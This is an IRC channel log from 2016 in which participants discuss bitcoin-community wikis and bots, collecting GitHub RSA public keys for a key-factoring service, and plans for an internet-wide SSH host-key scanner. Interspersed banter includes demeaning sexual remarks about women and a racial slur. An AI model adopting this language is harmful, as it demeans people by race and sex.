1469504;1463762752;*;Framedragger considers 1469505;1463762755;mircea_popescu;the idea in my head has always been that as intelligent people try to catch up, they'll use the wiki as their scratchpad 1469506;1463762785;mircea_popescu;people who've been following along usually can't summon the interest, having other flags that call them stronger. 1469507;1463762832;Framedragger;is this the wiki? http://wiki.bitcoin-assets.com/ 1469508;1463762847;mircea_popescu;mmm, i think that's an old instance. a sec. 1469509;1463762858;Framedragger;what with all the move to #trilema, eh 1469510;1463762901;mircea_popescu;right. wiki.deedbot.org was it ? shinohai ? 1469511;1463762911;mircea_popescu;they've made something in lisp iirc. 1469512;1463762923;Framedragger;oh, that's nice 1469513;1463762929;mircea_popescu;yeah. 1469514;1463762976;mircea_popescu;http://wiki.deedbot.org/Best%20of%20MPOE-PR lmao 1469515;1463763022;mircea_popescu;hey trinque why does it answer so slowly ? is the lisp machine getting restarted on each call or somesuch ? 1469516;1463763024;asciilifeform;dead? 1469517;1463763030;mircea_popescu;nah it just takes its sweet time. 1469518;1463763128;shinohai;Yeah wiki.deedbot.org 1469519;1463763137;shinohai;99% of old articles there 1469520;1463763156;ben_vulpes;in other rng news http://i.imgur.com/TxFLW5F.jpg 1469521;1463763159;trinque;nah, that box is getting pushed into swap by trb 1469522;1463763166;trinque;need to spin up a separate box for the node 1469523;1463763180;asciilifeform;ben_vulpes: wats this 1469524;1463763188;ben_vulpes;noise, of course 1469525;1463763205;trinque;coffee? shits? coffee shits? 1469526;1463763214;shinohai;I think I just got cursed at in hindi 1469527;1463763258;ben_vulpes;asciilifeform: lemonade from the morning tragedy 1469528;1463763285;mircea_popescu;ah. 1469529;1463763295;mircea_popescu;how much ram trinque ? 1469530;1463763315;trinque;2gb, piddly 1469531;1463763348;mircea_popescu;ah yeah. i think we'll need to make a "min 4gb ram for new boxes" tmsr standard ; so people can run general purpose + trb on them 1469532;1463763412;shinohai;http://btcbase.org/log/2016-05-20#1469514 <<< toldja I couldn't forget that one, spent half the morning reading turdtalk again as I was editing. 1469533;1463763412;a111;Logged on 2016-05-20 16:49 mircea_popescu: http://wiki.deedbot.org/Best%20of%20MPOE-PR lmao 1469534;1463763424;mircea_popescu;lol. pretty good. 1469535;1463763434;mircea_popescu;"who could have predicted neobee" etc. 1469536;1463763450;*;shinohai bows to hanbot 1469537;1463763527;mircea_popescu;speaking of stains, http://66.media.tumblr.com/47c0dcf919403ee5a30ab163d7edebb3/tumblr_n2sq2xSjlB1rzzxego1_1280.jpg 1469538;1463764310;Framedragger;noob question but by god am i confused. is deedbot's WoT a different WoT from that which is serviced by gribble? 1469539;1463764341;mircea_popescu;yes, they diverged at some point early 2015. 1469540;1463764354;mircea_popescu;all matter prior is found in both ; all matter after is found in one or another. 1469541;1463764390;mircea_popescu;there was some discussion with nanotube re his rewriting gribble to act properly (ie, sessionless) and interchange data, but it never came to naught. i dun think gribble is still being much maintained. no idea really. 1469542;1463764413;Framedragger;oh ok. thanks. 1469543;1463764489;mircea_popescu;(the split occured because he was in [unannounced] vacation while gribble went down ; after not being reacheable for a few days it looked like we're under attack and a new bot was made ; and properly this time. then nanotube came back, explained he was taking a vacation [all this being right around xmas] and well... no hard feelings, but also no readily available cure.) 1469544;1463764494;Framedragger;but e.g. i auth with gribble and apparently that's enough. deedbot sees this. i guess that's fine? 1469545;1463764510;Framedragger;i see 1469546;1463764512;mircea_popescu;there's no session involved. what's deedbot to see ? 1469547;1463764524;mircea_popescu;if you're unvoiced it can voice you, for a token. that's all it does. 1469548;1463764529;Framedragger;ahhhh 1469549;1463764532;Framedragger;gotcha 1469550;1463764547;Framedragger;it's truly sessionless. no need. nice 1469551;1463764549;mircea_popescu;if you try to $rate someone it'll give you another token, every time 1469552;1463764563;Framedragger;yeah that does make alota sense 1469553;1463764569;mircea_popescu;this protects from session hijacking, which is a major concern, especially since freenode's rape-and-gag adventure last year. 1469554;1463764587;Framedragger;shit i missed lots of interesting drama, it seems :D 1469555;1463764611;mircea_popescu;you know, they announced a major bug which looked just like a nsa plant ; promised a full investigation to soon follow ; haven't spoken a word since. 1469556;1463764624;mircea_popescu;it's reasonable to deem they're under a gag order and actively diddled. 1469557;1463764630;Framedragger;:( 1469558;1463764644;Framedragger;i guess this shouldn't be totally surprising 1469559;1463764653;mircea_popescu;i guess not. 1469560;1463764696;Framedragger;i suppose there's no true need, but have you considered moving to a new/different irc network? or can that wait till gossipd saves the internet? 1469561;1463764717;mircea_popescu;what's the cost of the move buy me ? 1469562;1463764748;Framedragger;well, say, zero, really. possible time cost for bot maintainers, tho 1469563;1463764759;mircea_popescu;so then consider it considered. 1469564;1463764759;Framedragger;oh 1469565;1463764794;Framedragger;misinterpreted question. "what does it buy". yeah, the nice feeling inside, so, zero, i suppose 1469566;1463764844;mircea_popescu;there's nothing substantially wrong with freenode. they're a merchant of faeces infested water, as good as any other merchant of "water" in marakesh. 1469567;1463764876;mircea_popescu;the solution is to behead the caliph and put the town under proper administration, not to shop around for "water" merchants. wtf are they going to sell you, they all draw from the same all-purpose pond. 1469568;1463764915;Framedragger;(incidentally, fuck marrakech. the whole country's full of tourists, but marrakech doubly so. fes is where it's at!!1) 1469569;1463764917;Framedragger;yeah 1469570;1463764933;mircea_popescu;ikr? 1469571;1463764951;mircea_popescu;where' you from anyway ? 1469572;1463764965;Framedragger;lithuania, of all the places. 1469573;1463764983;mircea_popescu;what's it like ? 1469574;1463765046;Framedragger;hm 1469575;1463765048;Framedragger;lots of nice booty (for real though, not a joke) 1469576;1463765085;Framedragger;high cost of living, cf. other european countries, whereas avg wage is maybe just over 500eur / mo? hence whole country is grumpy 1469577;1463765094;mircea_popescu;yeah, i know, i like lithuanian chix. 1469578;1463765105;Framedragger;"ikr" 1469579;1463765113;mircea_popescu;do you have a bdsm club ? 1469580;1463765124;Framedragger;no. *i should* 1469581;1463765134;mircea_popescu;lol not you personally ; you teh people. 1469582;1463765210;Framedragger;yes. unless you mean "the club" (not venue), then i'm not sure, but there are people's circles which seem to function well, yes. i've been out of the country for some time and am generally not in loop 1469583;1463765231;Framedragger;there certainly exist chix who do bdsm though, not that it could be otherwise 1469584;1463765291;Framedragger;i don't know what to think of that country. i mean, it's shit, but this is sorta a priori 1469585;1463765308;mircea_popescu;ah 1469586;1463765322;mircea_popescu;ok, so where' you from in the sense of, where you at, then. 1469587;1463765376;Framedragger;it's too cold, folks don't talk much in streets, though you can bump into an old guy who invites you to chess for a beer (and by god he needs that beer), he does well, you're in a very cheap shitty bar and you realize it's now closed and the bar is serving vodka to the regulars who're now around you, sometimes succeeding in discussing something interesting 1469588;1463765416;Framedragger;i'm too young to hold a decent convo, seemingly. owell. glasgow, uk. it's alright. you'll make fun of uk tho, and that's only fair. i'll move at some point 1469589;1463765423;mircea_popescu;you'd love argentina then. ALL they do is stop and chat in the streets ; half hour at a time, people who don't know each other. 1469590;1463765442;mircea_popescu;of course, it's entirely meaningless ; argentines never act on what they or anyone else says. 1469591;1463765460;Framedragger;so i heard! and tbh i would indeed like that, at least for a time! 1469592;1463765462;mircea_popescu;i thought glasgow was in scotland 1469593;1463765468;Framedragger;hehe 1469594;1463765485;mircea_popescu;i only make fun of the london people. the scots are a sort of lithuania :D 1469595;1463765496;Framedragger;it is, it is. so what you're saying is that scotland is not part of the uk. if only 1469596;1463765503;Framedragger;yeah they are! 1469597;1463765507;mircea_popescu;weren't they nigh on separated last time ? 1469598;1463765511;Framedragger;(lots of the latter here, incidnetally) 1469599;1463765518;Framedragger;aha 1469600;1463765527;mircea_popescu;the uk nearly lost it's only submarine base ; where the only nuclear-bbc-radio-listener is based. 1469601;1463765529;Framedragger;just about. glasgow voted "yes" to separation, obviously 1469602;1463765539;Framedragger;ah yes that's what i saw in logs. lols 1469603;1463765556;Framedragger;oh yeah, the "bbc = world goes on thing" l0l 1469604;1463765562;mircea_popescu;lol. 1469605;1463765581;mircea_popescu;anyway - yeah i suppose locals are fugly, but then again glasgow gets a lot of foreign students/tourists. 1469606;1463765607;Framedragger;yeah there are friendly people here, with brains etc. weather is shit obvs., and i admit it affects me. hence travels to morocco and suchlike 1469607;1463765625;*;mircea_popescu lived in edinburgh briefly. 1469608;1463765632;Framedragger;most of local gals are fucking ugly as fuck, yes indeed 1469609;1463765633;mircea_popescu;well, wolverhampton. but anyway. 1469610;1463765635;Framedragger;ah i see! 1469611;1463765660;mircea_popescu;warwick castle was epic, but finding something you'd stick your penis into was ~impossible. i was stuck with imports the whole time. 1469612;1463765701;Framedragger;yeah glasgow is a student population to a degree, quite so, and that is indeed nice 1469613;1463765714;Framedragger;can only imagine 1469614;1463765879;Framedragger;it's nice to hear that argentina is a livable place, then. i enjoyed the pix on trilema fwiw 1469615;1463765905;Framedragger;didn't you say something to the tune of "i'd like to die here" :) 1469616;1463765934;mircea_popescu;did i ? 1469617;1463765948;Framedragger;could be mistaken. hmm 1469618;1463765968;Framedragger;on buenos aires: http://trilema.com/2014/manufactured-insecurity-and-the-issue-of-control/ 1469619;1463765994;Framedragger;oh that was before you moved 1469620;1463766029;mircea_popescu;no, but it was early. 1469621;1463766047;mircea_popescu;the place is great for the first months. then the idiocy of the population starts to wear you down. 1469622;1463766063;mircea_popescu;what's the idiot village called in lithuanian folklore ? 1469623;1463766136;Framedragger;can't think of a specific word - there's a notion "idiots' ship" - durnių laivas - and also: the whole word "village" (kaimas) has very clear connotations of idiocy, in and of itself, and is used thusly sometimes 1469624;1463766152;Framedragger;or are you referring to some actual place? 1469625;1463766204;mircea_popescu;alrighty, so it's basically a durnish laivas that thinks itself the capital [of the world]. 1469626;1463766208;mircea_popescu;they get tiresome. 1469627;1463766210;Framedragger;parliament, say, is often referred to by durnių laivas, as well as the whole country, its populace, etc; same with "kaimas" being used interchangeably with populace 1469628;1463766223;Framedragger;ahh, i see 1469629;1463766223;mircea_popescu;yeah, but at least your idiots are aware of it. 1469630;1463766234;Framedragger;to a masturbatory degree 1469631;1463766236;mircea_popescu;these schmucks think they're all part of the cast of friends. 1469632;1463766239;asciilifeform;iirc ships of fools were already common parlance even prior to sebastian brandt's 1400s mega-b0000k 1469633;1463766254;mircea_popescu;asciilifeform well they did send children on a crusade once... 1469634;1463766255;Framedragger;hahah. oh i *bet* that wears you off after a while! 1469635;1463766260;asciilifeform;'Das Narrenschiff' 1469636;1463766468;jurov;asciilifeform: github rsa keys: http://www.explo.yt/phathub-201506.csv.xz 1469637;1463766480;mircea_popescu;win! 1469638;1463766484;asciilifeform;neato 1469639;1463766488;mircea_popescu;how many ? 1469640;1463766490;jurov;0080bf77f0541827bc90d62de448cbc6780ae5a8f9450405eb00db4dafe708836018b832c40bbc30128ab2b8c5c4a9c9d2e1a34ebd8efdf8d3ee178bd94d8316 phathub.csv 1469641;1463766492;jurov;5662db8716ddfa945e0b45103517eb681b32f7c2615af731ae0644737e92389122f8740e6f86201e61b96513bd2ace3301dd288c88f3e93bae46dd7594327dac phathub-201506.csv.xz 1469642;1463766500;jurov;6.9mil 1469643;1463766503;mircea_popescu;epic. 1469644;1463766515;mircea_popescu;phuctor eats well today! 1469645;1463766526;asciilifeform;wai these are converted already ? 1469646;1463766529;Framedragger;jurov: nice. 1469647;1463766536;jurov;it's CSV e,N, comment 1469648;1463766536;mircea_popescu;well yes ? 1469649;1463766543;mircea_popescu;tmsr rsa format. 1469650;1463766566;mircea_popescu;and it is at this juncture we discover alf doesn't actually have that implemented yet :D 1469651;1463766573;asciilifeform;not the least. 1469652;1463766583;asciilifeform;phuctor is hard-built in 1,01 ways around pgp format. 1469653;1463766621;mircea_popescu;loller. 1469654;1463766644;mircea_popescu;well... i guess you make a tmsr - to - rfc 448866221133massachussetts convertor. 1469655;1463766645;jurov;and above file would be maybe 50GB instead of 2 1469656;1463766784;jurov;asciilifeform: i can convert if you insist 1469657;1463766788;mircea_popescu;so there were three : get the github keys - jurov did it ; get the ssh server/router spidering going, and convert. iirc nobody was doing this ; get pgp keys out of the gwen / sr dump. punkman was hm where is he. 1469658;1463766794;mircea_popescu;;;later punkman yo 1469659;1463766795;gribble;Error: The "Later" plugin is loaded, but there is no command named "punkman" in it. Try "list Later" to see the commands in the "Later" plugin. 1469660;1463766797;mircea_popescu;;;later tell punkman yo 1469661;1463766797;gribble;The operation succeeded. 1469662;1463766819;mircea_popescu;jurov can you publish the convertor you used somewhere for later reference ? like your blog or w/e ? 1469663;1463766838;mircea_popescu;also, anyone want to run a ssh server key spider ? 1469664;1463766844;BingoBoingo;lol https://imgur.com/a/NXWAt 1469665;1463766846;mircea_popescu;Framedragger ? 1469666;1463766884;mircea_popescu;asciilifeform 1001 ways ? at some point it keeps numbers in a db or no ? 1469667;1463766950;jurov;yes, convertor. when i find out why it does barfalicious output 1469668;1463766976;mircea_popescu;hm 1469669;1463767021;mircea_popescu;BingoBoingo jesus wtf is wrong with these imbeciles. 1469670;1463767035;BingoBoingo;New 'Murica 1469671;1463767117;asciilifeform;mircea_popescu: yes. but when a key is phuctored, it expects to find the fields associated with a pgp key in the requisite db table. 1469672;1463767150;mircea_popescu;asciilifeform and if it finds only the comment field and the rest null it dies ? 1469673;1463767209;asciilifeform;this is not even a thing. 1469674;1463767213;asciilifeform;as per the structure of the db 1469675;1463767234;mircea_popescu;wtf is in that key, a date, an email, a name and a comment 1469676;1463767235;asciilifeform;try to understand how special cases make complexity of a proggy explode. 1469677;1463767250;asciilifeform;no it is also a pgp key turd, that is re-parsable to obtain all of these 1469678;1463767251;mircea_popescu;so far i'm trying to understand what specifically the db is like. 1469679;1463767253;asciilifeform;and downloadable, etc 1469680;1463767277;asciilifeform;for instance, db is currently indexable ONLY 2 ways: 1469681;1463767282;asciilifeform;1) pgp fp (64bit) 1469682;1463767294;asciilifeform;2) hash of moduli AS THEY APPEAR IN PGP FORMAT 1469683;1463767298;mircea_popescu;ah right, and fp isn't even a function of modulus. 1469684;1463767299;asciilifeform;(2 is what you see in phuctor urls) 1469685;1463767322;asciilifeform;the thing is pretty solidly congealed around pgp. 1469686;1463767341;mircea_popescu;that may be ; but the problem here is that politically, we do not wish to recognize rsa is owned by pgp. 1469687;1463767347;asciilifeform;noshit.jpg 1469688;1463767352;mircea_popescu;so this will have to be catered to. 1469689;1463767370;mircea_popescu;principally in the form of "keys aren't pgp format, but tmsr format, of which ssh, pgp and others are idiotic restatements" 1469690;1463767372;asciilifeform;prolly i am doomed to rewrite whole thing again... 1469691;1463767390;mircea_popescu;well, sounds like about half. 1469692;1463767397;mircea_popescu;but hey, on the upside you;ll be able to take the button out. 1469693;1463767400;Framedragger;"also, anyone want to run a ssh server key spider ?" << heh, k, i'm up for this, might as well be useful while i brood 1469694;1463767441;mircea_popescu;Framedragger the task is 1) create a spider that connects to all servers/routers/anything that takes a ssh connection, and asks for key. there's an example given in the logs coupla weeks ago that prolly can be taken verbatim and improved as needed. 1469695;1463767442;Framedragger;i suppose i should search logs for previous discussions? unless anyone wants to give a more particular summary? spider as many keys from as many hosts running ssh as possible? 1469696;1463767445;jurov;https://www.shodan.io/search?query=ssh there's also this, but access to raw data is prolly paid 1469697;1463767454;mircea_popescu;2) process the results on some sort of periodicity (daily ?) with jurov's soon to be published convertor 1469698;1463767462;mircea_popescu;3) publish the results somewhere so alf can scarf them 1469699;1463767519;Framedragger;the convertor converts keys into some kind of tmsr rsa format, then? 1469700;1463767537;jurov;no, pgp rfc4880 format 1469701;1463767541;Framedragger;oh ok 1469702;1463767545;Framedragger;that's nice 1469703;1463767573;mircea_popescu;http://btcbase.org/log/2016-05-20#1469647 1469704;1463767573;a111;Logged on 2016-05-20 17:48 jurov: it's CSV e,N, comment 1469705;1463767575;Framedragger;jurov so the convertor does the whole "create x.509 certificate" thing etc? nice nice 1469706;1463767587;Framedragger;ah 1469707;1463767588;mircea_popescu;jurov wait, what ? 1469708;1463767594;jurov;what certificate? 1469709;1463767605;jurov;just PGP public key 1469710;1463767624;Framedragger;oh maybe rfc4880 in itself does not include a whole certificate bloat thing. ok 1469711;1463767637;Framedragger;openpgp is bulky but maybe not that bulky 1469712;1463767657;jurov;certificate is usually a public key + self+signature 1469713;1463767664;Framedragger;anyway. ssh server key spider. *considers setup* 1469714;1463767680;jurov;but we can't have selfsigs, only the key 1469715;1463767681;Framedragger;my mistake 1469716;1463767685;mircea_popescu;ok im well confused. so jurov : you have a thing that takes ssh keys, spits them out as e,N,comment lines in a csv. that right ? 1469717;1463767721;jurov;yes. and also (so far) faulty implemention of CSV -> PGP pubkey 1469718;1463767736;mircea_popescu;ah. and you were calling this later "convertor" ? whereas i was calling the former. 1469719;1463767758;mircea_popescu;Framedragger see http://btcbase.org/log/2016-05-02#1461422 and around there. 1469720;1463767758;a111;Logged on 2016-05-02 19:11 fromphuctor__: ssh-keyscan provide digits 1469721;1463767762;Framedragger;ok 1469722;1463767772;jurov;okay. the ssh format is blessedly simple, not much to convert 1469723;1463768030;Framedragger;mircea_popescu: that was useful. so btw this fromphuctor__, i take it he hasn't much reappeared. was good idea, his 1469724;1463768039;mircea_popescu;honestly asciilifeform i'd much rather if phuctor held a table consisting of e,N,comment,pgp_crud1,pgp_crud2,etc. should be indexed by hash of first three fields. should not depend on the trailing fields existing 1469725;1463768072;mircea_popescu;Framedragger many thousands read teh logs ; not everyone speaks, or directly. the republic shades a much larger area than meets teh eye. nothing wrong with that either. 1469726;1463768088;asciilifeform;mircea_popescu: the most complicated piece is the www crud 1469727;1463768094;mircea_popescu;myeah. 1469728;1463768102;asciilifeform;it is already replete with rat's nest of case logic crud 1469729;1463768113;mircea_popescu;myeah. will take purging. sorry for your loss. 1469730;1463768134;asciilifeform;not purging, but further entumouring, there isn't a way to do it cleanly 1469731;1463768138;Framedragger;mircea_popescu: of course. :) btw can i assume that ecdsa keys are not of interest? only rsa? 1469732;1463768145;mircea_popescu;asciilifeform why so ? 1469733;1463768153;Framedragger;ssh-keyscan nicely gives all keys presented by server, usually includes ecdsa 1469734;1463768156;mircea_popescu;Framedragger you understand how ecc works yes ? 1469735;1463768168;Framedragger;i think so, yes 1469736;1463768174;mircea_popescu;then what's the point of factoring it ? 1469737;1463768193;Framedragger;well, not factoring it of course, but just hoarding it for laters 1469738;1463768199;Framedragger;i dunno you guys plans for future 1469739;1463768207;mircea_popescu;that;s a call up to you as a putative eventual lord of teh republic neh ? 1469740;1463768224;Framedragger;but kk, it's clear it's not relevant to current effort as current effort is about factorization of rsa keys 1469741;1463768241;Framedragger;..fair 1469742;1463768358;Framedragger;so, like, presumably, one would want keys of ssh servers that are behind *all* routable public ipv4 addresses? 1469743;1463768516;asciilifeform;http://btcbase.org/log/2016-05-20#1469732 << because i am not a wwwtronicist. the thing does not intelligently generate the web crapolade from the db in any way, it manually and agonizingly 'if phuctored then display this-here colours' etc. 1469744;1463768516;a111;Logged on 2016-05-20 18:15 mircea_popescu: asciilifeform why so ? 1469745;1463768530;mircea_popescu;Framedragger just make sure you add the ip to your comment. 1469746;1463768569;mircea_popescu;asciilifeform ah. so are we looking for a wwwtronicist at this spot ? 1469747;1463768596;asciilifeform;also, i presume, for a baker, so we can hand out phreee caeks? 1469748;1463768608;mircea_popescu;i dunno, you're pretty talented, or at least i liked your www output :D 1469749;1463768650;mircea_popescu;asciilifeform well, ben_vulpes has been making noises about things ; for one. maybe mike_c is bored, who knows. till you ask you don't know. 1469750;1463768662;*;Framedragger is a non-bullshit wwwtronicist, depending on definition. are you folks looking for some clean www read-only interface to a db? sorry for much interjection 1469751;1463768831;mircea_popescu;Framedragger why just ipv4 ? 1469752;1463768838;ben_vulpes;what is a non-bullshit wwwtronicist? 1469753;1463768859;mircea_popescu;i read it to mean he doesn't use django. 1469754;1463768860;ben_vulpes;magical tank of wine with particles of shit that is still drinkable somehow? 1469755;1463768879;ben_vulpes;oh and php is non-bullshit i c 1469756;1463768892;Framedragger;someone who can do web development without considering nodejs, js, nosql, etc etc, just for some initial constraints? :D 1469757;1463768893;*;ben_vulpes is having a bad week 1469758;1463768912;mircea_popescu;what happened this week ? teething ? 1469759;1463768920;Framedragger;and visits http://motherfuckingwebsite.com/ more often than should admit 1469760;1463768926;trinque;hunchentoot uber alles 1469761;1463768987;ben_vulpes;mircea_popescu: teething isn't really my problem 1469762;1463768997;Framedragger;mircea_popescu: well. i guess the spider could could include a ipv6 address crawler to populate a ipv6 address list. but beyond that? 1469763;1463769001;ben_vulpes;inane wwwtronics, ofc 1469764;1463769033;mircea_popescu;Framedragger was mostly confirming your assumption. yes, if the motherfucker goes to indochina i want a nigger there hiding in a bowl of rice ready to suck its pubkey down. 1469765;1463769053;ben_vulpes;spilled the coffee, soaked the chinese shitscale 1469766;1463769061;Framedragger;looks at http://www.ipv6-spider.com/en/statistics "ipv6 only" 1469767;1463769075;ben_vulpes;Framedragger: that's more a baseline requirement 1469768;1463769076;Framedragger;mircea_popescu: nice, nice 1469769;1463769078;ben_vulpes;like not using windows 1469770;1463769080;mircea_popescu;ben_vulpes anyone ever told you you've got housewife problems ? 1469771;1463769080;ben_vulpes;or os x 1469772;1463769083;Framedragger;for sure 1469773;1463769095;ben_vulpes;mircea_popescu: what are my housewife problems? 1469774;1463769095;Framedragger;'initial constraints' 1469775;1463769096;asciilifeform;what's a housewife problem 1469776;1463769100;Framedragger;probably weeds out most 1469777;1463769102;asciilifeform;too many housewives ? 1469778;1463769103;mircea_popescu;"spilled coffee... soaked scale..." 1469779;1463769104;asciilifeform;too few..? 1469780;1463769111;ben_vulpes;mircea_popescu: no /i/ spilled the coffe 1469781;1463769115;ben_vulpes;and /i/ soaked the scale 1469782;1463769120;mircea_popescu;"he won't call..." 1469783;1463769120;ben_vulpes; /i/ am having a bad week. 1469784;1463769164;ben_vulpes;she is childproofing and driving the kibbutz incubation project quite nicely thank you very much 1469785;1463769180;asciilifeform;waiwut 1469786;1463769186;asciilifeform;ben_vulpes in a kibbutz ?! 1469787;1463769188;asciilifeform;what did i miss 1469788;1463769207;mircea_popescu;wouldn't kibbutz incubation properly render as kibbutzation ? 1469789;1463769255;ben_vulpes;that'd tend to imply the marching of people to the kibbutz 1469790;1463769278;ben_vulpes;kibbutzcubation perhaps 1469791;1463769281;ben_vulpes;asciilifeform: not yet 1469792;1463769289;ben_vulpes;trees don't grow overnight 1469793;1463769337;ben_vulpes;but hey the girls are helping each other nurse already so the project moves forward 1469794;1463769348;mircea_popescu;speaking of midgets, http://aellagirl.tumblr.com/post/85106201636/my-first-photoset-im-reposting-for-posterity-and 1469795;1463769372;mircea_popescu;wait... what girls ? 1469796;1463769383;mircea_popescu;you're bigamarried nao ? 1469797;1463769403;ben_vulpes;nonono 1469798;1463769420;ben_vulpes;new chapter, new friends 1469799;1463769451;asciilifeform;no moar wwwtron warehouse with piss tanks ? 1469800;1463769470;mircea_popescu;so you've impregnated both the wife and the mistress and they're cooing in unison ? 1469801;1463769482;mircea_popescu;incidentally danielpbarron mind showing the i'll pay for tits thing to https://twitter.com/aella_girl thx 1469802;1463769486;*;ben_vulpes rolls eyes 1469803;1463769500;ben_vulpes;friends, not colleagues, asciilifeform 1469804;1463769510;ben_vulpes;tanning tanks still reek as ever 1469805;1463769523;mircea_popescu;is it my fault you're cryptic ?! 1469806;1463769531;ben_vulpes;i learned it from you! 1469807;1463769544;ben_vulpes;looky 1469808;1463769582;ben_vulpes;i am possibly the youngest hipster /deciding/ to have children. this means that none of the other hipsters want to be friends any more, because what sane person with hobbies etc hangs out with married and children. 1469809;1463769590;ben_vulpes;ergo find new friends who are also doing the same. 1469810;1463769599;mircea_popescu;ah! 1469811;1463769619;ben_vulpes;davout even i think was older than i for his 1469812;1463769624;mircea_popescu;hey, it's the first day of the rest of your life 1469813;1463769642;mircea_popescu;if it makes you feel better, my parents were about your age when they were blessed with the wonder that is i. 1469814;1463769698;ben_vulpes;my foul mood has nothing to do with childrearing 1469815;1463769717;ben_vulpes;and everything to do with inane wwwtronics 1469816;1463769812;mircea_popescu;well yeah, but there;s nothing anyone can do there. 1469817;1463769837;ben_vulpes;http://django-forms.shithouse.tv/ 1469818;1463769912;Framedragger;i like the /* yolo: */ in the source, where it specifies the font right there in the source, because fuck it 1469819;1463769934;Framedragger;by specifies i meant defines 1469820;1463769938;ben_vulpes;Framedragger: shithouse has a certain...aesthetic. 1469821;1463769968;Framedragger;those @-webkit-keyframes .... yeah i can see that :) 1469822;1463770038;ben_vulpes;familiarity breeds contempt or what was it 1469823;1463770078;*;mats pats ben_vulpes 1469824;1463770196;mats;it'll be ok 1469825;1463770218;mats;https://jamfnation.jamfsoftware.com/scripts.html << this is wut my personal workplace hell looks like 1469826;1463770270;trinque;everything in computing is shit, well-worn fact by now 1469827;1463770272;mats;one of my new duties is managing osx imaging. and i already wanna die. 1469828;1463770280;trinque;I'm over here trying to get sbcl's sb-bsd-socket to build on musl 1469829;1463770308;trinque;one cannot simply pick the best things available; why would they all already work together? 1469830;1463770325;mats;on the other hand, an interesting opportunity to understand xnu 1469831;1463770331;mats;lotsa cruft there. 1469832;1463770391;shinohai;o/ mats long time no see 1469833;1463770400;mats;haro 1469834;1463770454;asciilifeform;workplace hell my shiny metal arse. 1469835;1463770462;asciilifeform;i'm building ?????? for motherfucking microshit. 1469836;1463770476;trinque;l0l0l 1469837;1463770484;asciilifeform;not first time, either. 1469838;1463770493;trinque;hey man; it's the end of the world 1469839;1463770495;trinque;sling dope 1469840;1463770504;asciilifeform;but at least i dun have to SEE PEOPLE!11111111111111 1469841;1463770509;asciilifeform;i will build for nintendo. 1469842;1463770515;asciilifeform;so long as i dun have to people. 1469843;1463770522;mats;xpc seems like it has a lot of bugs 1469844;1463770611;mats;and the pile of varying ipc mechanisms in addition to raw mach ports is p interesting 1469845;1463770673;mats;who remembers 'Distributed Objects'? 'Distributed Notifications'? 1469846;1463770812;mats;whole thing is ripe for 0days, i expect, half a dozen incompatible ipc mechanisms loosely scattered across multiple layers 1469847;1463773760;mircea_popescu;o hey, how goes mats ? 1469848;1463774921;hanbot;mircea_popescu, https://www.quora.com/Who-will-win-the-Bitcoin-blocksize-war << check out top answer. 1469849;1463774961;mircea_popescu;awww look at that! i'm quora famous nao ? 1469850;1463775047;hanbot;Philippe Duperron, Blockchain Maximalist predicted classic failure back in February. 1469851;1463775079;hanbot;Where prediction = "whatever MP says". 1469852;1463775093;mircea_popescu;not bad, coupla months early huh. 1469853;1463775185;hanbot;see also https://en.wikipedia.org/wiki/OpenBSD 1469854;1463775256;hanbot;Pity they don't have a bio article. 1469855;1463775265;mircea_popescu;lmao 1469856;1463775515;shinohai;^ epik 1469857;1463775576;hanbot;Maybe you should pay their server bills so they don't have to "not advertise" their begging campaign every quarter. 1469858;1463775602;hanbot;Require WoT registrations to edit or something. 1469859;1463775641;mircea_popescu;nah, i'm not paying so jimbo wales can continue meeting his personal bills. 1469860;1463775678;mircea_popescu;it'd be interesting as a wikipedia-conversion-to-sanity project, but it'd be predicated on the project ditching all the undesirables barnacled to it. and seeing that the whole thing is mostly barnacle by mass, i dun see it happening. 1469861;1463776208;BingoBoingo;Kinda the Libressl problem. Thing needs cutting, but it also need oh so much cutting. 1469862;1463776256;mircea_popescu;the other thing is that wikipedia has ~no utility. in the parts that it outright copied actual encyclopedia is no better and no different from any random website out there that repackages other's content. 1469863;1463776288;mircea_popescu;in the parts where it actually does something, what it does is collect derpy dribbles on irrelevant topics. yeah, it's the first place to have a discussion of the nth episode of the mth reboot of some tired us franchise. 1469864;1463776290;mircea_popescu;ok... 1469865;1463776311;asciilifeform;there is such a thing as a corpse. 1469866;1463776317;mircea_popescu;there is. 1469867;1463776338;asciilifeform;when the only thing to cut is skull, for ashtray 1469868;1463776380;mircea_popescu;and what's worse, the "wiki" style is proven not to work. even something originally as promising as tvtropes has over the years decayed into this unfunny collection of tiresome goop. 1469869;1463776404;mircea_popescu;if you have the curiosity to check it out, the parts of any artiocle that you like are 5yo+ ; and stuff added the current year's never up to par. 1469870;1463776422;*;asciilifeform noticed 1469871;1463776441;mircea_popescu;basically, it worked as an unpaid effort to digitize books that's meanwhile run out of both books to digitize and wide-eyed excitable noobs to do the digitizing. 1469872;1463776486;BingoBoingo;Related https://imgs.xkcd.com/comics/digital_data.png 1469873;1463776689;mircea_popescu;hehe 1469874;1463776699;mircea_popescu;all these "passive gains" systems go the same way 1469875;1463776890;asciilifeform;all wotless soup goes the same way. 1469876;1463776911;mircea_popescu;that also ; though wikipedia does have a buggy, unspecified, half-baked wot implementation 1469877;1463776917;asciilifeform;at one point asciilifeform attempted to contribute to pediwikia, even. was quickly cured of the notion that this was a worthwhile use of time. 1469878;1463776926;asciilifeform;yeah they have 1469879;1463776933;asciilifeform;and guess who it is built around. 1469880;1463776949;mircea_popescu;the problem is they didn't have intelligent people at the top. this generally haunts. 1469881;1463777098;asciilifeform;noshit.jpg 1469882;1463777991;BingoBoingo;$up dignork 1469883;1463777993;deedbot;dignork voiced for 30 minutes. 1469884;1463778108;dignork;Thanks BingoBoingo glad to see you guys, but I'm just lurking after a long time out, haven't read the logs yet. 1469885;1463778120;danielpbarron;http://btcbase.org/log/2016-05-20#1469801 << done https://twitter.com/danielpbarron/status/733760344255045634 1469886;1463778120;a111;Logged on 2016-05-20 18:38 mircea_popescu: incidentally danielpbarron mind showing the i'll pay for tits thing to https://twitter.com/aella_girl thx 1469887;1463778131;BingoBoingo;You're welcome. Just nice to see an oldtimer come back around. 1469888;1463778383;mircea_popescu;ty danielpbarron 1469889;1463778398;mircea_popescu;and in other news, damn soup is a wonderful invention. 1469890;1463778418;mircea_popescu;take my advice boys and girls : have soup at least 4-5 times a week. 1469891;1463778523;shinohai;https://www.reddit.com/r/TheDao/comments/4k6kbm/dao_20_as_the_first_proposal_to_get_funding/ Let's build version 2.0 of a buggy moneypit! :D 1469892;1463778906;BingoBoingo;Health is nao "respectability politics" https://imgur.com/a/yT1gk#4oDw83O 